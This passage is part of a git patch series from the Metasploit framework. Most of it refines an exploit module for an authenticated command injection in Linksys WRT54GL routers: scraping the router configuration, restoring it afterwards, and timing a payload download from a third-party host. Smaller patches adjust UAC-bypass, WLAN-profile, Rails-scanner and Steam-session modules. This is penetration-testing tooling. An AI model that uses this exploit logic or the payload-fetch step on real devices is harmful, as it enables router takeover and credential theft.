"yes" + if restore restore_conf(user,pass,uri) end end From 6a410d984d27c714049d3c6aa1f4ddf06326a2cb Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sat, 6 Apr 2013 19:13:42 +0200 Subject: [PATCH 05/13] adding get_config where I forgot --- .../linux/http/linksys_wrt54gl_apply_exec.rb | 46 +++++++++---------- 1 file changed, 23 insertions(+), 23 deletions(-) diff --git a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb index bbd16f4225..e89c70b875 100644 --- a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb @@ -127,29 +127,29 @@ class Metasploit3 < Msf::Exploit::Remote if @wan_mtu_orig.to_i > 1500 @mtu_enable = "0" end - @ui_language_orig = "<\/SCRIPT>" - @dhcp_lease_orig = "<\/TD>" - @dhcp_start_orig = "Sel_SubMask_onblur\(this.form.lan_netmask\,this.form\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_start\"\ class=num\ onChange=\"valid_dhcpd_start_ip\(this.form\,\ this\)\">" - @netmask_orig = "value=.*\ selected\>255\.255\.255\.(.*)\<\/OPTION\>" - @wan_dns_orig = "" - @wan_dns0_0_orig = "" - @wan_dns0_1_orig = "" - @wan_dns0_2_orig = "" - @wan_dns0_3_orig = "" - @wan_dns1_0_orig = "" - @wan_dns1_1_orig = "" - @wan_dns1_2_orig = "" - @wan_dns1_3_orig = "" - @wan_dns2_0_orig = "" - @wan_dns2_1_orig = "" - @wan_dns2_2_orig = "" - @wan_dns2_3_orig = "" - @wan_wins_orig = "" - @wan_wins_0_orig = "" - @wan_wins_1_orig = "" - @wan_wins_2_orig = "" - @wan_wins_3_orig = "" + @ui_language_orig = get_config(res.body, "<\/SCRIPT>") + @dhcp_lease_orig = get_config(res.body, "<\/TD>") + @dhcp_start_orig = get_config(res.body, "Sel_SubMask_onblur\(this.form.lan_netmask\,this.form\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_start\"\ class=num\ onChange=\"valid_dhcpd_start_ip\(this.form\,\ this\)\">") + @netmask_orig = get_config(res.body, "value=.*\ selected\>255\.255\.255\.(.*)\<\/OPTION\>") + @wan_dns_orig = get_config(res.body, "") + @wan_dns0_0_orig = get_config(res.body, "") + @wan_dns0_1_orig = get_config(res.body, "") + @wan_dns0_2_orig = get_config(res.body, "") + @wan_dns0_3_orig = get_config(res.body, "") + @wan_dns1_0_orig = get_config(res.body, "") + @wan_dns1_1_orig = get_config(res.body, "") + @wan_dns1_2_orig = get_config(res.body, "") + @wan_dns1_3_orig = get_config(res.body, "") + @wan_dns2_0_orig = get_config(res.body, "") + @wan_dns2_1_orig = get_config(res.body, "") + @wan_dns2_2_orig = get_config(res.body, "") + @wan_dns2_3_orig = get_config(res.body, "") + @wan_wins_orig = get_config(res.body, "") + @wan_wins_0_orig = get_config(res.body, "") + @wan_wins_1_orig = get_config(res.body, "") + @wan_wins_2_orig = get_config(res.body, "") + @wan_wins_3_orig = get_config(res.body, "") end def restore_conf(user,pass,uri) From 0e69edc89ef86ea28192e8e69282cf61512a5c8d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Sun, 7 Apr 2013 11:39:29 +0200 Subject: [PATCH 06/13] fixing use of regex --- .../linux/http/linksys_wrt54gl_apply_exec.rb | 54 +++++++++---------- 1 file changed, 27 insertions(+), 27 deletions(-) diff --git a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb index e89c70b875..edce150675 100644 --- a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb @@ -116,40 +116,40 @@ class Metasploit3 < Msf::Exploit::Remote @wait_time_orig = get_config(res.body, "") @need_reboot_orig = get_config(res.body, "") @wan_proto_orig = get_config(res.body, "var\ wan_proto\ =\ \'(.*)\'\;") - @lan_ipaddr_0_orig = get_config(res.body, "onBlur\=valid_range\(this\,1\,223\,\"IP\"\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_0\"\>") - @lan_ipaddr_1_orig = get_config(res.body, "\") - @lan_ipaddr_2_orig = get_config(res.body, "\") - @lan_ipaddr_3_orig = get_config(res.body, "<\/TD>") - @router_name_orig = get_config(res.body, "name=\"router_name\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Router%20Name\"\)><\/FONT><\/TD>") - @wan_domain_orig = get_config(res.body, "name=\"wan_domain\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\(this\,\"Domain%20name\"\,SPACE_NO\)><\/FONT><\/TD>") - @wan_hostname_orig = get_config(res.body, "<\/FONT><\/TD>") - @wan_mtu_orig = get_config(res.body, "<\/TD>") + @lan_ipaddr_0_orig = get_config(res.body, "onBlur\=valid_range\\(this\,1\,223\,\"IP\"\\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_0\"\>") + @lan_ipaddr_1_orig = get_config(res.body, "\") + @lan_ipaddr_2_orig = get_config(res.body, "\") + @lan_ipaddr_3_orig = get_config(res.body, "<\/TD>") + @router_name_orig = get_config(res.body, "name=\"router_name\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\\(this\,\"Router%20Name\"\\)><\/FONT><\/TD>") + @wan_domain_orig = get_config(res.body, "name=\"wan_domain\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\\(this\,\"Domain%20name\"\,SPACE_NO\\)><\/FONT><\/TD>") + @wan_hostname_orig = get_config(res.body, "<\/FONT><\/TD>") + @wan_mtu_orig = get_config(res.body, "<\/TD>") if @wan_mtu_orig.to_i > 1500 @mtu_enable = "0" end @ui_language_orig = get_config(res.body, "<\/SCRIPT>") - @dhcp_lease_orig = get_config(res.body, "<\/TD>") - @dhcp_start_orig = get_config(res.body, "Sel_SubMask_onblur\(this.form.lan_netmask\,this.form\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_start\"\ class=num\ onChange=\"valid_dhcpd_start_ip\(this.form\,\ this\)\">") + @dhcp_lease_orig = get_config(res.body, "<\/TD>") + @dhcp_start_orig = get_config(res.body, "Sel_SubMask_onblur\\(this.form.lan_netmask\,this.form\\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_start\"\ class=num\ onChange=\"valid_dhcpd_start_ip\\(this.form\,\ this\\)\">") @netmask_orig = get_config(res.body, "value=.*\ selected\>255\.255\.255\.(.*)\<\/OPTION\>") @wan_dns_orig = get_config(res.body, "") - @wan_dns0_0_orig = get_config(res.body, "") - @wan_dns0_1_orig = get_config(res.body, "") - @wan_dns0_2_orig = get_config(res.body, "") - @wan_dns0_3_orig = get_config(res.body, "") - @wan_dns1_0_orig = get_config(res.body, "") - @wan_dns1_1_orig = get_config(res.body, "") - @wan_dns1_2_orig = get_config(res.body, "") - @wan_dns1_3_orig = get_config(res.body, "") - @wan_dns2_0_orig = get_config(res.body, "") - @wan_dns2_1_orig = get_config(res.body, "") - @wan_dns2_2_orig = get_config(res.body, "") - @wan_dns2_3_orig = get_config(res.body, "") + @wan_dns0_0_orig = get_config(res.body, "") + @wan_dns0_1_orig = get_config(res.body, "") + @wan_dns0_2_orig = get_config(res.body, "") + @wan_dns0_3_orig = get_config(res.body, "") + @wan_dns1_0_orig = get_config(res.body, "") + @wan_dns1_1_orig = get_config(res.body, "") + @wan_dns1_2_orig = get_config(res.body, "") + @wan_dns1_3_orig = get_config(res.body, "") + @wan_dns2_0_orig = get_config(res.body, "") + @wan_dns2_1_orig = get_config(res.body, "") + @wan_dns2_2_orig = get_config(res.body, "") + @wan_dns2_3_orig = get_config(res.body, "") @wan_wins_orig = get_config(res.body, "") - @wan_wins_0_orig = get_config(res.body, "") - @wan_wins_1_orig = get_config(res.body, "") - @wan_wins_2_orig = get_config(res.body, "") - @wan_wins_3_orig = get_config(res.body, "") + @wan_wins_0_orig = get_config(res.body, "") + @wan_wins_1_orig = get_config(res.body, "") + @wan_wins_2_orig = get_config(res.body, "") + @wan_wins_3_orig = get_config(res.body, "") end def restore_conf(user,pass,uri) From 9f89a996b239d18314ccf404f3f5293785c3b14d Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Sun, 7 Apr 2013 17:57:18 +0200 Subject: [PATCH 07/13] final regex, dhcp check and feedback from juan --- .../linux/http/linksys_wrt54gl_apply_exec.rb | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) diff --git a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb index edce150675..132f9d55ce 100644 --- a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb @@ -71,13 +71,13 @@ class Metasploit3 < Msf::Exploit::Remote OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]), OptBool.new('RESTORE_CONF', [ true, 'Should we try to restore the original configuration', true ]), - OptString.new('LAN_PROTO', [ true, 'The device configuration for the local network, dhcp or static (default: dhcp)', 'dhcp' ]), ], self.class) end def get_config(config, pattern) if config =~ /#{pattern}/ + #print_line("found: #{$1}") #debugging return $1 end return "" @@ -107,15 +107,20 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Exploit::Failure::Unreachable, "#{rhost}:#{rport} - Failed to connect to the web server") end + #now_proto and wan_proto should be the same and it should be dhcp! Nothing else tested! @now_proto_orig = get_config(res.body, "") if @now_proto_orig !~ /dhcp/ fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device") end + @wan_proto_orig = get_config(res.body, "var\ wan_proto\ =\ \'(.*)\'\;") + if @wan_proto_orig !~ /dhcp/ + fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Configuration not recognized, aborting to avoid breaking the device") + end + @lan_proto_orig = get_config(res.body, "") @lan_ipaddr_orig = get_config(res.body, "") @wait_time_orig = get_config(res.body, "") @need_reboot_orig = get_config(res.body, "") - @wan_proto_orig = get_config(res.body, "var\ wan_proto\ =\ \'(.*)\'\;") @lan_ipaddr_0_orig = get_config(res.body, "onBlur\=valid_range\\(this\,1\,223\,\"IP\"\\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_0\"\>") @lan_ipaddr_1_orig = get_config(res.body, "\") @lan_ipaddr_2_orig = get_config(res.body, "\") @@ -132,7 +137,7 @@ class Metasploit3 < Msf::Exploit::Remote @dhcp_num_orig = get_config(res.body, "<\/TD>") @dhcp_start_orig = get_config(res.body, "Sel_SubMask_onblur\\(this.form.lan_netmask\,this.form\\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_start\"\ class=num\ onChange=\"valid_dhcpd_start_ip\\(this.form\,\ this\\)\">") @netmask_orig = get_config(res.body, "value=.*\ selected\>255\.255\.255\.(.*)\<\/OPTION\>") - @wan_dns_orig = get_config(res.body, "") + @wan_dns_orig = get_config(res.body, "") @wan_dns0_1_orig = get_config(res.body, "") @wan_dns0_2_orig = get_config(res.body, "") @@ -145,7 +150,7 @@ class Metasploit3 < Msf::Exploit::Remote @wan_dns2_1_orig = get_config(res.body, "") @wan_dns2_2_orig = get_config(res.body, "") @wan_dns2_3_orig = get_config(res.body, "") - @wan_wins_orig = get_config(res.body, "") + @wan_wins_orig = get_config(res.body, "") @wan_wins_1_orig = get_config(res.body, "") @wan_wins_2_orig = get_config(res.body, "") @@ -199,7 +204,8 @@ class Metasploit3 < Msf::Exploit::Remote 'lan_ipaddr_2' => @lan_ipaddr_2_orig.to_s, 'lan_ipaddr_3' => @lan_ipaddr_3_orig.to_s, 'lan_netmask' => "255.255.255.#{@netmask_orig}", - 'lan_proto' => @lan_proto_manual.to_s, # It should be configured with datastore['LAN_PROTO'] + #'lan_proto' => @lan_proto_manual.to_s, # It should be configured with datastore['LAN_PROTO'] + 'lan_proto' => @lan_proto_orig.to_s, 'dhcp_check' => "1", 'dhcp_start' => @dhcp_start_orig.to_s, 'dhcp_num' => @dhcp_num_orig.to_s, @@ -243,7 +249,7 @@ class Metasploit3 < Msf::Exploit::Remote rport = datastore['RPORT'] restore = datastore['RESTORE_CONF'] @timeout = 10 - @lan_proto_manual = datastore['LAN_PROTO'] + #@lan_proto_manual = datastore['LAN_PROTO'] # # testing Login From 955efc7009be9b1b9f66b608c561d60e90a044c0 Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Sun, 7 Apr 2013 17:59:57 +0200 Subject: [PATCH 08/13] final cleanup --- modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb | 8 ++------ 1 file changed, 2 insertions(+), 6 deletions(-) diff --git a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb index 132f9d55ce..06d332e0de 100644 --- a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb @@ -77,7 +77,6 @@ class Metasploit3 < Msf::Exploit::Remote def get_config(config, pattern) if config =~ /#{pattern}/ - #print_line("found: #{$1}") #debugging return $1 end return "" @@ -159,18 +158,17 @@ class Metasploit3 < Msf::Exploit::Remote def restore_conf(user,pass,uri) # we have used most parts of the original configuration - # just need to restore pppoe_username + # just need to restore wan_hostname cmd = @wan_hostname_orig.to_s print_status("#{rhost}:#{rport} - Asking the Linksys device to reload original configuration") - # WARNING: restore of wan_hostname_orig not working!!! res = request(cmd,user,pass,uri) if (!res) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to reload original configuration") end - #the device needs around 30 seconds to apply our current configuration + #the device needs around 10 seconds to apply our current configuration print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration") select(nil, nil, nil, @timeout) end @@ -204,7 +202,6 @@ class Metasploit3 < Msf::Exploit::Remote 'lan_ipaddr_2' => @lan_ipaddr_2_orig.to_s, 'lan_ipaddr_3' => @lan_ipaddr_3_orig.to_s, 'lan_netmask' => "255.255.255.#{@netmask_orig}", - #'lan_proto' => @lan_proto_manual.to_s, # It should be configured with datastore['LAN_PROTO'] 'lan_proto' => @lan_proto_orig.to_s, 'dhcp_check' => "1", 'dhcp_start' => @dhcp_start_orig.to_s, @@ -249,7 +246,6 @@ class Metasploit3 < Msf::Exploit::Remote rport = datastore['RPORT'] restore = datastore['RESTORE_CONF'] @timeout = 10 - #@lan_proto_manual = datastore['LAN_PROTO'] # # testing Login From 14c1f58afb083ea6e9f477473aae9c3411a66042 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 8 Apr 2013 14:19:35 -0500 Subject: [PATCH 09/13] Don't bomb out if there are no wireless interfaces --- modules/post/windows/wlan/wlan_profile.rb | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/modules/post/windows/wlan/wlan_profile.rb b/modules/post/windows/wlan/wlan_profile.rb index 8ec2c9ff44..1e6d501665 100644 --- a/modules/post/windows/wlan/wlan_profile.rb +++ b/modules/post/windows/wlan/wlan_profile.rb @@ -42,6 +42,11 @@ class Metasploit3 < Msf::Post end wlan_iflist = enum_interfaces(wlan_handle) + if wlan_iflist.empty? + print_status("No wireless interfaces") + return + end + #Take each enumerated interface and gets the profile information available on each one wlan_iflist.each do |interface| wlan_profiles = enum_profiles(wlan_handle, interface['guid']) @@ -85,6 +90,7 @@ class Metasploit3 < Msf::Post numifs = @host_process.memory.read(pointer,4) numifs = numifs.unpack("V")[0] interfaces = [] + return [] if numifs.nil? #Set the pointer ahead to the first element in the array pointer = (pointer + 8) From cbefc44a455a534764e7f7bd9a2fef32676239d5 Mon Sep 17 00:00:00 2001 From: m-1-k-3 Date: Mon, 8 Apr 2013 21:40:50 +0200 Subject: [PATCH 10/13] correct waiting --- .../exploits/linux/http/linksys_wrt54gl_apply_exec.rb | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb index 06d332e0de..c16287eadb 100644 --- a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb @@ -281,16 +281,13 @@ class Metasploit3 < Msf::Exploit::Remote res = request(cmd,user,pass,uri) if (!res) fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") - restore_conf(user,pass,uri) if restore else print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") - if restore - print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration") - select(nil, nil, nil, @timeout) - restore_conf(user,pass,uri) - end end + print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration") + select(nil, nil, nil, @timeout) + restore_conf(user,pass,uri) if restore return end @@ -349,6 +346,7 @@ class Metasploit3 < Msf::Exploit::Remote # wait for payload download if (datastore['DOWNHOST']) + #waiting some time so we could be sure that the device got the payload from our third party server print_status("#{rhost}:#{rport} - Giving #{datastore['HTTP_DELAY']} seconds to the Linksys device to download the payload") select(nil, nil, nil, datastore['HTTP_DELAY']) else From e2b8d5ed2392cf2d57f6295ff611597f0bb146e8 Mon Sep 17 00:00:00 2001 From: HD Moore Date: Tue, 9 Apr 2013 02:07:40 -0500 Subject: [PATCH 11/13] Fix from David Kennedy, enable Windows 8 support --- modules/exploits/windows/local/bypassuac.rb | 10 ++-------- modules/post/windows/escalate/bypassuac.rb | 8 +------- 2 files changed, 3 insertions(+), 15 deletions(-) diff --git a/modules/exploits/windows/local/bypassuac.rb b/modules/exploits/windows/local/bypassuac.rb index b56b032c19..a91b2fefd7 100644 --- a/modules/exploits/windows/local/bypassuac.rb +++ b/modules/exploits/windows/local/bypassuac.rb @@ -56,14 +56,8 @@ class Metasploit3 < Msf::Exploit::Local # vuln = false winver = sysinfo["OS"] - affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008', 'Windows 8' ] - affected.each { |v| - if winver.include? v - vuln = true - end - } - if not vuln - print_error("#{winver} does not have UAC") + if winver !~ /Windows Vista|Windows 2008|Windows [78]/ + print_error("#{winver} is not vulnerable.") return end diff --git a/modules/post/windows/escalate/bypassuac.rb b/modules/post/windows/escalate/bypassuac.rb index 921a1cfa61..8e53abeced 100644 --- a/modules/post/windows/escalate/bypassuac.rb +++ b/modules/post/windows/escalate/bypassuac.rb @@ -43,13 +43,7 @@ class Metasploit3 < Msf::Post vuln = false sysinfo = session.sys.config.sysinfo winver = sysinfo["OS"] - affected = [ 'Windows Vista', 'Windows 7', 'Windows 2008', 'Windows 8' ] - affected.each { |v| - if winver.include? v - vuln = true - end - } - if not vuln + if winver !~ /Windows Vista|Windows 2008|Windows [78]/ print_error("#{winver} is not vulnerable.") return end From 157f25788b2b423ce2552061a7e7c471eb07b364 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Tue, 9 Apr 2013 12:39:57 +0200 Subject: [PATCH 12/13] final cleanup for linksys_wrt54gl_apply_exec --- .../linux/http/linksys_wrt54gl_apply_exec.rb | 26 +++++++++++-------- 1 file changed, 15 insertions(+), 11 deletions(-) diff --git a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb index c16287eadb..b90bcc78ea 100644 --- a/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt54gl_apply_exec.rb @@ -19,11 +19,13 @@ class Metasploit3 < Msf::Exploit::Remote super(update_info(info, 'Name' => 'Linksys WRT54GL apply.cgi Command Execution', 'Description' => %q{ - Some Linksys Routers are vulnerable to an authenticated OS command injection. - Default credentials for the web interface are admin/admin or admin/password. Since - it is a blind os command injection vulnerability, there is no output for the - executed command when using the cmd generic payload. A ping command against a - controlled system could be used for testing purposes. + Some Linksys Routers are vulnerable to an authenticated OS command injection in + the Web Interface. Default credentials are admin/admin or admin/password. Since it + is a blind os command injection vulnerability, there is no output for the executed + command when using the cmd generic payload. A ping command against a controlled + system could be used for testing purposes. The user must be prudent when using this + module since it modifies the router configuration while exploitation, even when it + tries to restore previous values. }, 'Author' => [ @@ -33,9 +35,9 @@ class Metasploit3 < Msf::Exploit::Remote 'License' => MSF_LICENSE, 'References' => [ + [ 'OSVDB', '89912' ], [ 'BID', '57459' ], [ 'EDB', '24202' ], - [ 'OSVDB', '89912' ], [ 'URL', 'http://www.s3cur1ty.de/m1adv2013-001' ] ], 'DisclosureDate' => 'Jan 18 2013', @@ -70,7 +72,7 @@ class Metasploit3 < Msf::Exploit::Remote OptAddress.new('DOWNHOST', [ false, 'An alternative host to request the MIPS payload from' ]), OptString.new('DOWNFILE', [ false, 'Filename to download, (default: random)' ]), OptInt.new('HTTP_DELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 60]), - OptBool.new('RESTORE_CONF', [ true, 'Should we try to restore the original configuration', true ]), + OptBool.new('RESTORE_CONF', [ true, 'Should we try to restore the original configuration', true ]) ], self.class) end @@ -123,7 +125,8 @@ class Metasploit3 < Msf::Exploit::Remote @lan_ipaddr_0_orig = get_config(res.body, "onBlur\=valid_range\\(this\,1\,223\,\"IP\"\\)\ size=3\ value=\'(.*)\'\ name=\"lan_ipaddr_0\"\>") @lan_ipaddr_1_orig = get_config(res.body, "\") @lan_ipaddr_2_orig = get_config(res.body, "\") - @lan_ipaddr_3_orig = get_config(res.body, "<\/TD>") + @lan_ipaddr_3_orig = get_config(res.body, "<\/TD>") @router_name_orig = get_config(res.body, "name=\"router_name\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\\(this\,\"Router%20Name\"\\)><\/FONT><\/TD>") @wan_domain_orig = get_config(res.body, "name=\"wan_domain\"\ size=\"20\"\ value=\'(.*)\'\ onBlur=valid_name\\(this\,\"Domain%20name\"\,SPACE_NO\\)><\/FONT><\/TD>") @wan_hostname_orig = get_config(res.body, "<\/FONT><\/TD>") @@ -133,8 +136,10 @@ class Metasploit3 < Msf::Exploit::Remote end @ui_language_orig = get_config(res.body, "<\/SCRIPT>") @dhcp_lease_orig = get_config(res.body, "<\/TD>") - @dhcp_start_orig = get_config(res.body, "Sel_SubMask_onblur\\(this.form.lan_netmask\,this.form\\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_start\"\ class=num\ onChange=\"valid_dhcpd_start_ip\\(this.form\,\ this\\)\">") + @dhcp_num_orig = get_config(res.body, "<\/TD>") + @dhcp_start_orig = get_config(res.body, "Sel_SubMask_onblur\\(this.form.lan_netmask\,this.form\\)\ size=3\ value=\'(.*)\'\ name=\"dhcp_start\"\ class=num\ " << + "onChange=\"valid_dhcpd_start_ip\\(this.form\,\ this\\)\">") @netmask_orig = get_config(res.body, "value=.*\ selected\>255\.255\.255\.(.*)\<\/OPTION\>") @wan_dns_orig = get_config(res.body, "") @@ -283,7 +288,6 @@ class Metasploit3 < Msf::Exploit::Remote fail_with(Exploit::Failure::Unknown, "#{rhost}:#{rport} - Unable to execute payload") else print_status("#{rhost}:#{rport} - Blind Exploitation - unknown Exploitation state") - end print_status("#{rhost}:#{rport} - Waiting #{@timeout} seconds for reloading the configuration") select(nil, nil, nil, @timeout) From ba86e14d4398c1da9d5f7eb4a8f8f306cc048c82 Mon Sep 17 00:00:00 2001 From: Tod Beardsley Date: Tue, 9 Apr 2013 08:56:39 -0500 Subject: [PATCH 13/13] Whitespace and caps fixes --- modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb | 6 +++--- modules/post/windows/gather/credentials/steam.rb | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb index 8eb9e1ce59..b2cc8327b2 100644 --- a/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb +++ b/modules/auxiliary/scanner/http/rails_xml_yaml_scanner.rb @@ -20,9 +20,9 @@ class Metasploit3 < Msf::Auxiliary an arbitrary object instantiation flaw in the XML request processor. }, 'Author' => [ - 'hdm', #author - 'jjarmoc' #improvements - ], + 'hdm', #author + 'jjarmoc' #improvements + ], 'License' => MSF_LICENSE, 'References' => [ diff --git a/modules/post/windows/gather/credentials/steam.rb b/modules/post/windows/gather/credentials/steam.rb index 0ff01a1a69..732b58ad75 100644 --- a/modules/post/windows/gather/credentials/steam.rb +++ b/modules/post/windows/gather/credentials/steam.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info(info, - 'Name' => 'Steam client session Collector.', + 'Name' => 'Steam Client Session Collector.', 'Description' => %q{ This module will collect Steam session information from an account set to autologin. }, 'License' => MSF_LICENSE,